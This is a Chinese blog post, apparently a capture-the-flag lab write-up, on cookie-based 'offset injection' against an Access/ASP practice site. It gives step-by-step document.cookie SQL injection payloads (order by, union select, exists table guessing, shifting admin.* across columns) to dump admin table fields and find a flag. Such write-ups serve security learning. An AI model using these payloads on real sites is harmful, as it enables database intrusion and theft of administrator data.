偏移注入
地址:http://59.63.200.79:8004/ProductShow.asp?ID=105
Access-偏移注入
首先进入网站的页面,在url栏输入:and1=2-1
发现被过滤,所以可能在url传参,不能做了
尝试在控制台修改cookie:document.cookie=”id=”+escape(“104 and 1=1”) 和document.cookie=”id=”+escape(“104 and 1=2”)
发现页面显示不一样,所以此处可使用cookie注入:document.cookie=”id=”+escape(‘104 order by 40’) 通过order by查询 表的字段数为26.
然后联合查询找到回显点:document.cookie=”id=”+escape(‘170
union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
from admin’)
回显点。
使用exists (selectfrom 表名)函数猜解表名:document.cookie=”id=”+escape(‘104 and exists(select* from admin)’)
可以执行说明存在admin表。
document.cookie=”id=”+escape(‘104 and exists(select* from news)’)
说明news表存在。
然后在回显点查出字段值,使用admin.代表表的字段,先看看admin表字段数有多少:
document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,admin. from admin’)
这样一直尝试,直到页面正常显示,代表admin表的字段数为26-已知字段数
页面正常,发现admin表有16个字段。
document.cookie=”id=”+escape(‘170 union select admin.* ,2,3,4,5,6,7,8,9,10,11 from admin’)
这样就爆出了admin表的3,5,7个字段的值。依次平移:
document.cookie=”id=”+escape(‘170 union select 1,admin.* ,3,4,5,6,7,8,9,10,11 from admin’)
这样就爆出了admin表的4,6,8位。
继续平移:document.cookie=”id=”+escape(‘170 union select 1,2,admin.* ,4,5,6,7,8,9,10,11 from admin’)
爆出5,7,9位。
继续平移,直到得到flag。在这三个显错点没找到flag。最后有重推一遍在网页源码中找到flag:document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,admin. ,11 from admin’)
废了好多时间,终于找到了:document.cookie=”id=”+escape(‘170 union select 1,2,3,4,5,6,7,8,9,admin. ,11 from admin’)
后来总结了一下,在找显错点的时候应该看一下源码,看看有没有不是明显的显错点。这样后面应该会有一点用处。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!